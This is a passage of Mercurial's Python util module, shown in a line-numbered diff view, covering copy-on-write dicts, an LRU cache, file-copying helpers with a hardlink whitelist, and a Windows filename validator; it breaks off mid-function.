1147
1149 Be sure to call d = d.preparewrite() before writing to d.
1148 Be sure to call d = d.preparewrite() before writing to d.
1150
1149
1151 >>> a = cowdict()
1150 >>> a = cowdict()
1152 >>> a is a.preparewrite()
1151 >>> a is a.preparewrite()
1153 True
1152 True
1154 >>> b = a.copy()
1153 >>> b = a.copy()
1155 >>> b is a
1154 >>> b is a
1156 True
1155 True
1157 >>> c = b.copy()
1156 >>> c = b.copy()
1158 >>> c is a
1157 >>> c is a
1159 True
1158 True
1160 >>> a = a.preparewrite()
1159 >>> a = a.preparewrite()
1161 >>> b is a
1160 >>> b is a
1162 False
1161 False
1163 >>> a is a.preparewrite()
1162 >>> a is a.preparewrite()
1164 True
1163 True
1165 >>> c = c.preparewrite()
1164 >>> c = c.preparewrite()
1166 >>> b is c
1165 >>> b is c
1167 False
1166 False
1168 >>> b is b.preparewrite()
1167 >>> b is b.preparewrite()
1169 True
1168 True
1170 """
1169 """
1171
1170
1172 class cowsortdict(cow, sortdict):
1171 class cowsortdict(cow, sortdict):
1173 """copy-on-write sortdict
1172 """copy-on-write sortdict
1174
1173
1175 Be sure to call d = d.preparewrite() before writing to d.
1174 Be sure to call d = d.preparewrite() before writing to d.
1176 """
1175 """
1177
1176
1178 class transactional(object):
1177 class transactional(object):
1179 """Base class for making a transactional type into a context manager."""
1178 """Base class for making a transactional type into a context manager."""
1180 __metaclass__ = abc.ABCMeta
1179 __metaclass__ = abc.ABCMeta
1181
1180
1182 @abc.abstractmethod
1181 @abc.abstractmethod
1183 def close(self):
1182 def close(self):
1184 """Successfully closes the transaction."""
1183 """Successfully closes the transaction."""
1185
1184
1186 @abc.abstractmethod
1185 @abc.abstractmethod
1187 def release(self):
1186 def release(self):
1188 """Marks the end of the transaction.
1187 """Marks the end of the transaction.
1189
1188
1190 If the transaction has not been closed, it will be aborted.
1189 If the transaction has not been closed, it will be aborted.
1191 """
1190 """
1192
1191
1193 def __enter__(self):
1192 def __enter__(self):
1194 return self
1193 return self
1195
1194
1196 def __exit__(self, exc_type, exc_val, exc_tb):
1195 def __exit__(self, exc_type, exc_val, exc_tb):
1197 try:
1196 try:
1198 if exc_type is None:
1197 if exc_type is None:
1199 self.close()
1198 self.close()
1200 finally:
1199 finally:
1201 self.release()
1200 self.release()
1202
1201
1203 @contextlib.contextmanager
1202 @contextlib.contextmanager
1204 def acceptintervention(tr=None):
1203 def acceptintervention(tr=None):
1205 """A context manager that closes the transaction on InterventionRequired
1204 """A context manager that closes the transaction on InterventionRequired
1206
1205
1207 If no transaction was provided, this simply runs the body and returns
1206 If no transaction was provided, this simply runs the body and returns
1208 """
1207 """
1209 if not tr:
1208 if not tr:
1210 yield
1209 yield
1211 return
1210 return
1212 try:
1211 try:
1213 yield
1212 yield
1214 tr.close()
1213 tr.close()
1215 except error.InterventionRequired:
1214 except error.InterventionRequired:
1216 tr.close()
1215 tr.close()
1217 raise
1216 raise
1218 finally:
1217 finally:
1219 tr.release()
1218 tr.release()
1220
1219
1221 @contextlib.contextmanager
1220 @contextlib.contextmanager
1222 def nullcontextmanager():
1221 def nullcontextmanager():
1223 yield
1222 yield
1224
1223
1225 class _lrucachenode(object):
1224 class _lrucachenode(object):
1226 """A node in a doubly linked list.
1225 """A node in a doubly linked list.
1227
1226
1228 Holds a reference to nodes on either side as well as a key-value
1227 Holds a reference to nodes on either side as well as a key-value
1229 pair for the dictionary entry.
1228 pair for the dictionary entry.
1230 """
1229 """
1231 __slots__ = (u'next', u'prev', u'key', u'value')
1230 __slots__ = (u'next', u'prev', u'key', u'value')
1232
1231
1233 def __init__(self):
1232 def __init__(self):
1234 self.next = None
1233 self.next = None
1235 self.prev = None
1234 self.prev = None
1236
1235
1237 self.key = _notset
1236 self.key = _notset
1238 self.value = None
1237 self.value = None
1239
1238
1240 def markempty(self):
1239 def markempty(self):
1241 """Mark the node as emptied."""
1240 """Mark the node as emptied."""
1242 self.key = _notset
1241 self.key = _notset
1243
1242
1244 class lrucachedict(object):
1243 class lrucachedict(object):
1245 """Dict that caches most recent accesses and sets.
1244 """Dict that caches most recent accesses and sets.
1246
1245
1247 The dict consists of an actual backing dict - indexed by original
1246 The dict consists of an actual backing dict - indexed by original
1248 key - and a doubly linked circular list defining the order of entries in
1247 key - and a doubly linked circular list defining the order of entries in
1249 the cache.
1248 the cache.
1250
1249
1251 The head node is the newest entry in the cache. If the cache is full,
1250 The head node is the newest entry in the cache. If the cache is full,
1252 we recycle head.prev and make it the new head. Cache accesses result in
1251 we recycle head.prev and make it the new head. Cache accesses result in
1253 the node being moved to before the existing head and being marked as the
1252 the node being moved to before the existing head and being marked as the
1254 new head node.
1253 new head node.
1255 """
1254 """
1256 def __init__(self, max):
1255 def __init__(self, max):
1257 self._cache = {}
1256 self._cache = {}
1258
1257
1259 self._head = head = _lrucachenode()
1258 self._head = head = _lrucachenode()
1260 head.prev = head
1259 head.prev = head
1261 head.next = head
1260 head.next = head
1262 self._size = 1
1261 self._size = 1
1263 self._capacity = max
1262 self._capacity = max
1264
1263
1265 def __len__(self):
1264 def __len__(self):
1266 return len(self._cache)
1265 return len(self._cache)
1267
1266
1268 def __contains__(self, k):
1267 def __contains__(self, k):
1269 return k in self._cache
1268 return k in self._cache
1270
1269
1271 def __iter__(self):
1270 def __iter__(self):
1272 # We don't have to iterate in cache order, but why not.
1271 # We don't have to iterate in cache order, but why not.
1273 n = self._head
1272 n = self._head
1274 for i in range(len(self._cache)):
1273 for i in range(len(self._cache)):
1275 yield n.key
1274 yield n.key
1276 n = n.next
1275 n = n.next
1277
1276
1278 def __getitem__(self, k):
1277 def __getitem__(self, k):
1279 node = self._cache[k]
1278 node = self._cache[k]
1280 self._movetohead(node)
1279 self._movetohead(node)
1281 return node.value
1280 return node.value
1282
1281
1283 def __setitem__(self, k, v):
1282 def __setitem__(self, k, v):
1284 node = self._cache.get(k)
1283 node = self._cache.get(k)
1285 # Replace existing value and mark as newest.
1284 # Replace existing value and mark as newest.
1286 if node is not None:
1285 if node is not None:
1287 node.value = v
1286 node.value = v
1288 self._movetohead(node)
1287 self._movetohead(node)
1289 return
1288 return
1290
1289
1291 if self._size < self._capacity:
1290 if self._size < self._capacity:
1292 node = self._addcapacity()
1291 node = self._addcapacity()
1293 else:
1292 else:
1294 # Grab the last/oldest item.
1293 # Grab the last/oldest item.
1295 node = self._head.prev
1294 node = self._head.prev
1296
1295
1297 # At capacity. Kill the old entry.
1296 # At capacity. Kill the old entry.
1298 if node.key is not _notset:
1297 if node.key is not _notset:
1299 del self._cache[node.key]
1298 del self._cache[node.key]
1300
1299
1301 node.key = k
1300 node.key = k
1302 node.value = v
1301 node.value = v
1303 self._cache[k] = node
1302 self._cache[k] = node
1304 # And mark it as newest entry. No need to adjust order since it
1303 # And mark it as newest entry. No need to adjust order since it
1305 # is already self._head.prev.
1304 # is already self._head.prev.
1306 self._head = node
1305 self._head = node
1307
1306
1308 def __delitem__(self, k):
1307 def __delitem__(self, k):
1309 node = self._cache.pop(k)
1308 node = self._cache.pop(k)
1310 node.markempty()
1309 node.markempty()
1311
1310
1312 # Temporarily mark as newest item before re-adjusting head to make
1311 # Temporarily mark as newest item before re-adjusting head to make
1313 # this node the oldest item.
1312 # this node the oldest item.
1314 self._movetohead(node)
1313 self._movetohead(node)
1315 self._head = node.next
1314 self._head = node.next
1316
1315
1317 # Additional dict methods.
1316 # Additional dict methods.
1318
1317
1319 def get(self, k, default=None):
1318 def get(self, k, default=None):
1320 try:
1319 try:
1321 return self._cache[k].value
1320 return self._cache[k].value
1322 except KeyError:
1321 except KeyError:
1323 return default
1322 return default
1324
1323
1325 def clear(self):
1324 def clear(self):
1326 n = self._head
1325 n = self._head
1327 while n.key is not _notset:
1326 while n.key is not _notset:
1328 n.markempty()
1327 n.markempty()
1329 n = n.next
1328 n = n.next
1330
1329
1331 self._cache.clear()
1330 self._cache.clear()
1332
1331
1333 def copy(self):
1332 def copy(self):
1334 result = lrucachedict(self._capacity)
1333 result = lrucachedict(self._capacity)
1335 n = self._head.prev
1334 n = self._head.prev
1336 # Iterate in oldest-to-newest order, so the copy has the right ordering
1335 # Iterate in oldest-to-newest order, so the copy has the right ordering
1337 for i in range(len(self._cache)):
1336 for i in range(len(self._cache)):
1338 result[n.key] = n.value
1337 result[n.key] = n.value
1339 n = n.prev
1338 n = n.prev
1340 return result
1339 return result
1341
1340
1342 def _movetohead(self, node):
1341 def _movetohead(self, node):
1343 """Mark a node as the newest, making it the new head.
1342 """Mark a node as the newest, making it the new head.
1344
1343
1345 When a node is accessed, it becomes the freshest entry in the LRU
1344 When a node is accessed, it becomes the freshest entry in the LRU
1346 list, which is denoted by self._head.
1345 list, which is denoted by self._head.
1347
1346
1348 Visually, let's make ``N`` the new head node (* denotes head):
1347 Visually, let's make ``N`` the new head node (* denotes head):
1349
1348
1350 previous/oldest <-> head <-> next/next newest
1349 previous/oldest <-> head <-> next/next newest
1351
1350
1352 ----<->--- A* ---<->-----
1351 ----<->--- A* ---<->-----
1353 | |
1352 | |
1354 E <-> D <-> N <-> C <-> B
1353 E <-> D <-> N <-> C <-> B
1355
1354
1356 To:
1355 To:
1357
1356
1358 ----<->--- N* ---<->-----
1357 ----<->--- N* ---<->-----
1359 | |
1358 | |
1360 E <-> D <-> C <-> B <-> A
1359 E <-> D <-> C <-> B <-> A
1361
1360
1362 This requires the following moves:
1361 This requires the following moves:
1363
1362
1364 C.next = D (node.prev.next = node.next)
1363 C.next = D (node.prev.next = node.next)
1365 D.prev = C (node.next.prev = node.prev)
1364 D.prev = C (node.next.prev = node.prev)
1366 E.next = N (head.prev.next = node)
1365 E.next = N (head.prev.next = node)
1367 N.prev = E (node.prev = head.prev)
1366 N.prev = E (node.prev = head.prev)
1368 N.next = A (node.next = head)
1367 N.next = A (node.next = head)
1369 A.prev = N (head.prev = node)
1368 A.prev = N (head.prev = node)
1370 """
1369 """
1371 head = self._head
1370 head = self._head
1372 # C.next = D
1371 # C.next = D
1373 node.prev.next = node.next
1372 node.prev.next = node.next
1374 # D.prev = C
1373 # D.prev = C
1375 node.next.prev = node.prev
1374 node.next.prev = node.prev
1376 # N.prev = E
1375 # N.prev = E
1377 node.prev = head.prev
1376 node.prev = head.prev
1378 # N.next = A
1377 # N.next = A
1379 # It is tempting to do just "head" here, however if node is
1378 # It is tempting to do just "head" here, however if node is
1380 # adjacent to head, this will do bad things.
1379 # adjacent to head, this will do bad things.
1381 node.next = head.prev.next
1380 node.next = head.prev.next
1382 # E.next = N
1381 # E.next = N
1383 node.next.prev = node
1382 node.next.prev = node
1384 # A.prev = N
1383 # A.prev = N
1385 node.prev.next = node
1384 node.prev.next = node
1386
1385
1387 self._head = node
1386 self._head = node
1388
1387
1389 def _addcapacity(self):
1388 def _addcapacity(self):
1390 """Add a node to the circular linked list.
1389 """Add a node to the circular linked list.
1391
1390
1392 The new node is inserted before the head node.
1391 The new node is inserted before the head node.
1393 """
1392 """
1394 head = self._head
1393 head = self._head
1395 node = _lrucachenode()
1394 node = _lrucachenode()
1396 head.prev.next = node
1395 head.prev.next = node
1397 node.prev = head.prev
1396 node.prev = head.prev
1398 node.next = head
1397 node.next = head
1399 head.prev = node
1398 head.prev = node
1400 self._size += 1
1399 self._size += 1
1401 return node
1400 return node
1402
1401
1403 def lrucachefunc(func):
1402 def lrucachefunc(func):
1404 '''cache most recent results of function calls'''
1403 '''cache most recent results of function calls'''
1405 cache = {}
1404 cache = {}
1406 order = collections.deque()
1405 order = collections.deque()
1407 if func.__code__.co_argcount == 1:
1406 if func.__code__.co_argcount == 1:
1408 def f(arg):
1407 def f(arg):
1409 if arg not in cache:
1408 if arg not in cache:
1410 if len(cache) > 20:
1409 if len(cache) > 20:
1411 del cache[order.popleft()]
1410 del cache[order.popleft()]
1412 cache[arg] = func(arg)
1411 cache[arg] = func(arg)
1413 else:
1412 else:
1414 order.remove(arg)
1413 order.remove(arg)
1415 order.append(arg)
1414 order.append(arg)
1416 return cache[arg]
1415 return cache[arg]
1417 else:
1416 else:
1418 def f(*args):
1417 def f(*args):
1419 if args not in cache:
1418 if args not in cache:
1420 if len(cache) > 20:
1419 if len(cache) > 20:
1421 del cache[order.popleft()]
1420 del cache[order.popleft()]
1422 cache[args] = func(*args)
1421 cache[args] = func(*args)
1423 else:
1422 else:
1424 order.remove(args)
1423 order.remove(args)
1425 order.append(args)
1424 order.append(args)
1426 return cache[args]
1425 return cache[args]
1427
1426
1428 return f
1427 return f
1429
1428
1430 class propertycache(object):
1429 class propertycache(object):
1431 def __init__(self, func):
1430 def __init__(self, func):
1432 self.func = func
1431 self.func = func
1433 self.name = func.__name__
1432 self.name = func.__name__
1434 def __get__(self, obj, type=None):
1433 def __get__(self, obj, type=None):
1435 result = self.func(obj)
1434 result = self.func(obj)
1436 self.cachevalue(obj, result)
1435 self.cachevalue(obj, result)
1437 return result
1436 return result
1438
1437
1439 def cachevalue(self, obj, value):
1438 def cachevalue(self, obj, value):
1440 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1439 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1441 obj.__dict__[self.name] = value
1440 obj.__dict__[self.name] = value
1442
1441
1443 def clearcachedproperty(obj, prop):
1442 def clearcachedproperty(obj, prop):
1444 '''clear a cached property value, if one has been set'''
1443 '''clear a cached property value, if one has been set'''
1445 if prop in obj.__dict__:
1444 if prop in obj.__dict__:
1446 del obj.__dict__[prop]
1445 del obj.__dict__[prop]
1447
1446
1448 def increasingchunks(source, min=1024, max=65536):
1447 def increasingchunks(source, min=1024, max=65536):
1449 '''return no less than min bytes per chunk while data remains,
1448 '''return no less than min bytes per chunk while data remains,
1450 doubling min after each chunk until it reaches max'''
1449 doubling min after each chunk until it reaches max'''
1451 def log2(x):
1450 def log2(x):
1452 if not x:
1451 if not x:
1453 return 0
1452 return 0
1454 i = 0
1453 i = 0
1455 while x:
1454 while x:
1456 x >>= 1
1455 x >>= 1
1457 i += 1
1456 i += 1
1458 return i - 1
1457 return i - 1
1459
1458
1460 buf = []
1459 buf = []
1461 blen = 0
1460 blen = 0
1462 for chunk in source:
1461 for chunk in source:
1463 buf.append(chunk)
1462 buf.append(chunk)
1464 blen += len(chunk)
1463 blen += len(chunk)
1465 if blen >= min:
1464 if blen >= min:
1466 if min < max:
1465 if min < max:
1467 min = min << 1
1466 min = min << 1
1468 nmin = 1 << log2(blen)
1467 nmin = 1 << log2(blen)
1469 if nmin > min:
1468 if nmin > min:
1470 min = nmin
1469 min = nmin
1471 if min > max:
1470 if min > max:
1472 min = max
1471 min = max
1473 yield ''.join(buf)
1472 yield ''.join(buf)
1474 blen = 0
1473 blen = 0
1475 buf = []
1474 buf = []
1476 if buf:
1475 if buf:
1477 yield ''.join(buf)
1476 yield ''.join(buf)
1478
1477
1479 def always(fn):
1478 def always(fn):
1480 return True
1479 return True
1481
1480
1482 def never(fn):
1481 def never(fn):
1483 return False
1482 return False
1484
1483
1485 def nogc(func):
1484 def nogc(func):
1486 """disable garbage collector
1485 """disable garbage collector
1487
1486
1488 Python's garbage collector triggers a GC each time a certain number of
1487 Python's garbage collector triggers a GC each time a certain number of
1489 container objects (the number being defined by gc.get_threshold()) are
1488 container objects (the number being defined by gc.get_threshold()) are
1490 allocated even when marked not to be tracked by the collector. Tracking has
1489 allocated even when marked not to be tracked by the collector. Tracking has
1491 no effect on when GCs are triggered, only on what objects the GC looks
1490 no effect on when GCs are triggered, only on what objects the GC looks
1492 into. As a workaround, disable GC while building complex (huge)
1491 into. As a workaround, disable GC while building complex (huge)
1493 containers.
1492 containers.
1494
1493
1495 This garbage collector issue have been fixed in 2.7. But it still affect
1494 This garbage collector issue have been fixed in 2.7. But it still affect
1496 CPython's performance.
1495 CPython's performance.
1497 """
1496 """
1498 def wrapper(*args, **kwargs):
1497 def wrapper(*args, **kwargs):
1499 gcenabled = gc.isenabled()
1498 gcenabled = gc.isenabled()
1500 gc.disable()
1499 gc.disable()
1501 try:
1500 try:
1502 return func(*args, **kwargs)
1501 return func(*args, **kwargs)
1503 finally:
1502 finally:
1504 if gcenabled:
1503 if gcenabled:
1505 gc.enable()
1504 gc.enable()
1506 return wrapper
1505 return wrapper
1507
1506
1508 if pycompat.ispypy:
1507 if pycompat.ispypy:
1509 # PyPy runs slower with gc disabled
1508 # PyPy runs slower with gc disabled
1510 nogc = lambda x: x
1509 nogc = lambda x: x
1511
1510
1512 def pathto(root, n1, n2):
1511 def pathto(root, n1, n2):
1513 '''return the relative path from one place to another.
1512 '''return the relative path from one place to another.
1514 root should use os.sep to separate directories
1513 root should use os.sep to separate directories
1515 n1 should use os.sep to separate directories
1514 n1 should use os.sep to separate directories
1516 n2 should use "/" to separate directories
1515 n2 should use "/" to separate directories
1517 returns an os.sep-separated path.
1516 returns an os.sep-separated path.
1518
1517
1519 If n1 is a relative path, it's assumed it's
1518 If n1 is a relative path, it's assumed it's
1520 relative to root.
1519 relative to root.
1521 n2 should always be relative to root.
1520 n2 should always be relative to root.
1522 '''
1521 '''
1523 if not n1:
1522 if not n1:
1524 return localpath(n2)
1523 return localpath(n2)
1525 if os.path.isabs(n1):
1524 if os.path.isabs(n1):
1526 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1525 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1527 return os.path.join(root, localpath(n2))
1526 return os.path.join(root, localpath(n2))
1528 n2 = '/'.join((pconvert(root), n2))
1527 n2 = '/'.join((pconvert(root), n2))
1529 a, b = splitpath(n1), n2.split('/')
1528 a, b = splitpath(n1), n2.split('/')
1530 a.reverse()
1529 a.reverse()
1531 b.reverse()
1530 b.reverse()
1532 while a and b and a[-1] == b[-1]:
1531 while a and b and a[-1] == b[-1]:
1533 a.pop()
1532 a.pop()
1534 b.pop()
1533 b.pop()
1535 b.reverse()
1534 b.reverse()
1536 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1535 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1537
1536
1538 # the location of data files matching the source code
1537 # the location of data files matching the source code
1539 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1538 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1540 # executable version (py2exe) doesn't support __file__
1539 # executable version (py2exe) doesn't support __file__
1541 datapath = os.path.dirname(pycompat.sysexecutable)
1540 datapath = os.path.dirname(pycompat.sysexecutable)
1542 else:
1541 else:
1543 datapath = os.path.dirname(pycompat.fsencode(__file__))
1542 datapath = os.path.dirname(pycompat.fsencode(__file__))
1544
1543
1545 i18n.setdatapath(datapath)
1544 i18n.setdatapath(datapath)
1546
1545
1547 def checksignature(func):
1546 def checksignature(func):
1548 '''wrap a function with code to check for calling errors'''
1547 '''wrap a function with code to check for calling errors'''
1549 def check(*args, **kwargs):
1548 def check(*args, **kwargs):
1550 try:
1549 try:
1551 return func(*args, **kwargs)
1550 return func(*args, **kwargs)
1552 except TypeError:
1551 except TypeError:
1553 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1552 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1554 raise error.SignatureError
1553 raise error.SignatureError
1555 raise
1554 raise
1556
1555
1557 return check
1556 return check
1558
1557
1559 # a whilelist of known filesystems where hardlink works reliably
1558 # a whilelist of known filesystems where hardlink works reliably
1560 _hardlinkfswhitelist = {
1559 _hardlinkfswhitelist = {
1561 'apfs',
1560 'apfs',
1562 'btrfs',
1561 'btrfs',
1563 'ext2',
1562 'ext2',
1564 'ext3',
1563 'ext3',
1565 'ext4',
1564 'ext4',
1566 'hfs',
1565 'hfs',
1567 'jfs',
1566 'jfs',
1568 'NTFS',
1567 'NTFS',
1569 'reiserfs',
1568 'reiserfs',
1570 'tmpfs',
1569 'tmpfs',
1571 'ufs',
1570 'ufs',
1572 'xfs',
1571 'xfs',
1573 'zfs',
1572 'zfs',
1574 }
1573 }
1575
1574
1576 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1575 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1577 '''copy a file, preserving mode and optionally other stat info like
1576 '''copy a file, preserving mode and optionally other stat info like
1578 atime/mtime
1577 atime/mtime
1579
1578
1580 checkambig argument is used with filestat, and is useful only if
1579 checkambig argument is used with filestat, and is useful only if
1581 destination file is guarded by any lock (e.g. repo.lock or
1580 destination file is guarded by any lock (e.g. repo.lock or
1582 repo.wlock).
1581 repo.wlock).
1583
1582
1584 copystat and checkambig should be exclusive.
1583 copystat and checkambig should be exclusive.
1585 '''
1584 '''
1586 assert not (copystat and checkambig)
1585 assert not (copystat and checkambig)
1587 oldstat = None
1586 oldstat = None
1588 if os.path.lexists(dest):
1587 if os.path.lexists(dest):
1589 if checkambig:
1588 if checkambig:
1590 oldstat = checkambig and filestat.frompath(dest)
1589 oldstat = checkambig and filestat.frompath(dest)
1591 unlink(dest)
1590 unlink(dest)
1592 if hardlink:
1591 if hardlink:
1593 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1592 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1594 # unless we are confident that dest is on a whitelisted filesystem.
1593 # unless we are confident that dest is on a whitelisted filesystem.
1595 try:
1594 try:
1596 fstype = getfstype(os.path.dirname(dest))
1595 fstype = getfstype(os.path.dirname(dest))
1597 except OSError:
1596 except OSError:
1598 fstype = None
1597 fstype = None
1599 if fstype not in _hardlinkfswhitelist:
1598 if fstype not in _hardlinkfswhitelist:
1600 hardlink = False
1599 hardlink = False
1601 if hardlink:
1600 if hardlink:
1602 try:
1601 try:
1603 oslink(src, dest)
1602 oslink(src, dest)
1604 return
1603 return
1605 except (IOError, OSError):
1604 except (IOError, OSError):
1606 pass # fall back to normal copy
1605 pass # fall back to normal copy
1607 if os.path.islink(src):
1606 if os.path.islink(src):
1608 os.symlink(os.readlink(src), dest)
1607 os.symlink(os.readlink(src), dest)
1609 # copytime is ignored for symlinks, but in general copytime isn't needed
1608 # copytime is ignored for symlinks, but in general copytime isn't needed
1610 # for them anyway
1609 # for them anyway
1611 else:
1610 else:
1612 try:
1611 try:
1613 shutil.copyfile(src, dest)
1612 shutil.copyfile(src, dest)
1614 if copystat:
1613 if copystat:
1615 # copystat also copies mode
1614 # copystat also copies mode
1616 shutil.copystat(src, dest)
1615 shutil.copystat(src, dest)
1617 else:
1616 else:
1618 shutil.copymode(src, dest)
1617 shutil.copymode(src, dest)
1619 if oldstat and oldstat.stat:
1618 if oldstat and oldstat.stat:
1620 newstat = filestat.frompath(dest)
1619 newstat = filestat.frompath(dest)
1621 if newstat.isambig(oldstat):
1620 if newstat.isambig(oldstat):
1622 # stat of copied file is ambiguous to original one
1621 # stat of copied file is ambiguous to original one
1623 advanced = (
1622 advanced = (
1624 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1623 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1625 os.utime(dest, (advanced, advanced))
1624 os.utime(dest, (advanced, advanced))
1626 except shutil.Error as inst:
1625 except shutil.Error as inst:
1627 raise error.Abort(str(inst))
1626 raise error.Abort(str(inst))
1628
1627
1629 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1628 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1630 """Copy a directory tree using hardlinks if possible."""
1629 """Copy a directory tree using hardlinks if possible."""
1631 num = 0
1630 num = 0
1632
1631
1633 gettopic = lambda: hardlink and _('linking') or _('copying')
1632 gettopic = lambda: hardlink and _('linking') or _('copying')
1634
1633
1635 if os.path.isdir(src):
1634 if os.path.isdir(src):
1636 if hardlink is None:
1635 if hardlink is None:
1637 hardlink = (os.stat(src).st_dev ==
1636 hardlink = (os.stat(src).st_dev ==
1638 os.stat(os.path.dirname(dst)).st_dev)
1637 os.stat(os.path.dirname(dst)).st_dev)
1639 topic = gettopic()
1638 topic = gettopic()
1640 os.mkdir(dst)
1639 os.mkdir(dst)
1641 for name, kind in listdir(src):
1640 for name, kind in listdir(src):
1642 srcname = os.path.join(src, name)
1641 srcname = os.path.join(src, name)
1643 dstname = os.path.join(dst, name)
1642 dstname = os.path.join(dst, name)
1644 def nprog(t, pos):
1643 def nprog(t, pos):
1645 if pos is not None:
1644 if pos is not None:
1646 return progress(t, pos + num)
1645 return progress(t, pos + num)
1647 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1646 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1648 num += n
1647 num += n
1649 else:
1648 else:
1650 if hardlink is None:
1649 if hardlink is None:
1651 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1650 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1652 os.stat(os.path.dirname(dst)).st_dev)
1651 os.stat(os.path.dirname(dst)).st_dev)
1653 topic = gettopic()
1652 topic = gettopic()
1654
1653
1655 if hardlink:
1654 if hardlink:
1656 try:
1655 try:
1657 oslink(src, dst)
1656 oslink(src, dst)
1658 except (IOError, OSError):
1657 except (IOError, OSError):
1659 hardlink = False
1658 hardlink = False
1660 shutil.copy(src, dst)
1659 shutil.copy(src, dst)
1661 else:
1660 else:
1662 shutil.copy(src, dst)
1661 shutil.copy(src, dst)
1663 num += 1
1662 num += 1
1664 progress(topic, num)
1663 progress(topic, num)
1665 progress(topic, None)
1664 progress(topic, None)
1666
1665
1667 return hardlink, num
1666 return hardlink, num
1668
1667
1669 _winreservednames = {
1668 _winreservednames = {
1670 'con', 'prn', 'aux', 'nul',
1669 'con', 'prn', 'aux', 'nul',
1671 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1670 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1672 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1671 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1673 }
1672 }
1674 _winreservedchars = ':*?"<>|'
1673 _winreservedchars = ':*?"<>|'
1675 def checkwinfilename(path):
1674 def checkwinfilename(path):
1676 r'''Check that the base-relative path is a valid filename on Windows.
1675 r'''Check that the base-relative path is a valid filename on Windows.
1677 Returns None if the path is ok, or a UI string describing the problem.
1676 Returns None if the path is ok, or a UI string describing the problem.
1678
1677
1679 >>> checkwinfilename(b"just/a/normal/path")
1678 >>> checkwinfilename(b"just/a/normal/path")
1680 >>> checkwinfilename(b"foo/bar/con.xml")
1679 >>> checkwinfilename(b"foo/bar/con.xml")
1681 "filename contains 'con', which is reserved on Windows"
1680 "filename contains 'con', which is reserved on Windows"
1682 >>> checkwinfilename(b"foo/con.xml/bar")
1681 >>> checkwinfilename(b"foo/con.xml/bar")
1683 "filename contains 'con', which is reserved on Windows"
1682 "filename contains 'con', which is reserved on Windows"
1684 >>> checkwinfilename(b"foo/bar/xml.con")
1683 >>> checkwinfilename(b"foo/bar/xml.con")
1685 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1684 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1686 "filename contains 'AUX', which is reserved on Windows"
1685 "filename contains 'AUX', which is reserved on Windows"
1687 >>> checkwinfilename(b"foo/bar/bla:.txt")
1686 >>> checkwinfilename(b"foo/bar/bla:.txt")
1688 "filename contains ':', which is reserved on Windows"
1687 "filename contains ':', which is reserved on Windows"
1689 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1688 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1690 "filename contains '\\x07', which is invalid on Windows"
1689 "filename contains '\\x07', which is invalid on Windows"
1691 >>> checkwinfilename(b"foo/bar/bla ")
1690 >>> checkwinfilename(b"foo/bar/bla ")
1692 "filename ends with ' ', which is not allowed on Windows"
1691 "filename ends with ' ', which is not allowed on Windows"
1693 >>> checkwinfilename(b"../bar")
1692 >>> checkwinfilename(b"../bar")
1694 >>> checkwinfilename(b"foo\\")
1693 >>> checkwinfilename(b"foo\\")
1695 "filename ends with '\\', which is invalid on Windows"
1694 "filename ends with '\\', which is invalid on Windows"
1696 >>> checkwinfilename(b"foo\\/bar")
1695 >>> checkwinfilename(b"foo\\/bar")
1697 "directory name ends with '\\', which is invalid on Windows"
1696 "directory name ends with '\\', which is invalid on Windows"
1698 '''
1697 '''
1699 if path.endswith('\\'):
1698 if path.endswith('\\'):
1700 return _("filename ends with '\\', which is invalid on Windows")
1699 return _("filename ends with '\\', which is invalid on Windows")
1701 if '\\/' in path:
1700 if '\\/' in path:
1702 return _("directory name ends with '\\', which is invalid on Windows")
1701 return _("directory name ends with '\\', which is invalid on Windows")
1703 for n in path.replace('\\', '/').split('/'):
1702 for n in path.replace('\\', '/').split('/'):
1704 if not n:
1703 if not n:
1705 continue
1704 continue
1706 for c in _filenamebytestr(n):
1705 for c in _filenamebytestr(n):
1707 if c in _winreservedchars:
1706 if c in _winreservedchars:
1708 return _("filename contains '%s', which is reserved "
1707 return _("filename contains '%s', which is reserved "
1709 "on Windows") % c
1708 "on Windows") % c
1710 if ord(c) <= 31:
1709 if ord(c) <= 31:
1711 return _("filename contains '%s', which is invalid "
1710 return _("filename contains '%s', which is invalid "
1712 "on Windows") % stringutil.escapestr(c)
1711 "on Windows") % stringutil.escapestr(c)
1713 base = n.split('.')[0]
1712 base = n.split('.')[0]
1714 if base and base.lower() in _winreservednames:
1713 if base and base.lower() in _winreservednames:
1715 return _("filename contains '%s', which is reserved "
1714 return _("filename contains '%s', which is reserved "
1716 "on Windows") % base
1715 "on Windows") % base
1717 t = n[-1:]
1716 t = n[-1:]
1718 if t in '. ' and n not in '..':
1717 if t in '. ' and n not in '..':
1719 return _("filename ends with '%s', which is not allowed "
